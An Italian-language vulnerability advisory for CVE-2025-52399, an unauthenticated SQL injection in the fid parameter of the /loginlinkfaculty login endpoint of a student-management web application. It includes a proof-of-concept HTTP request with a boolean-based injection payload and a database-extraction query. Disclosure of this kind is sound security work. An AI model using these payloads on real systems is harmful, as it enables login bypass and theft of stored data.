CVE-2025-52399 - SQL Injection nell'applicazione Institute of Current Students

Riepilogo

L'endpoint loginlinkfaculty nell'applicazione Institute-of-Current-Students è vulnerabile a SQL Injection tramite il parametro POST fid. Il parametro non viene adeguatamente sanitizzato prima di essere utilizzato in una query SQL, consentendo a un attaccante remoto di eseguire comandi SQL arbitrari.

• Tipo di vulnerabilità: SQL Injection
• Componente interessato: /loginlinkfaculty (POST)
• Parametro interessato: fid
• Autenticazione: Non richiesta
• Impatto: Bypass dell'autenticazione, estrazione dei dati
• Testato su: Localhost
• Database: icsnew
• Versione: 1.0

PoC

Richiesta HTTP

http POST /Institute-of-Current-Students/loginlinkfaculty HTTP/1.1 Host: localhost Content-Type: application/x-www-form-urlencoded

fid=-1'+OR+321=6+AND+000942=000942--&pass=example

Risultato del payload

✅ -1' OR 3*2*1=6 AND 000942=000942 -- → VERO ❌ -1' OR 2*3=4 AND 000942=000942 -- → FALSO

Estrazione del database

SELECT database(); -- restituisce 'icsnew'

Riferimenti

• CVE-2025-52399 (MITRE)
• Applicazione vulnerabile
• OWASP SQL Injection

Scopritore

Isroil Mustafoqulov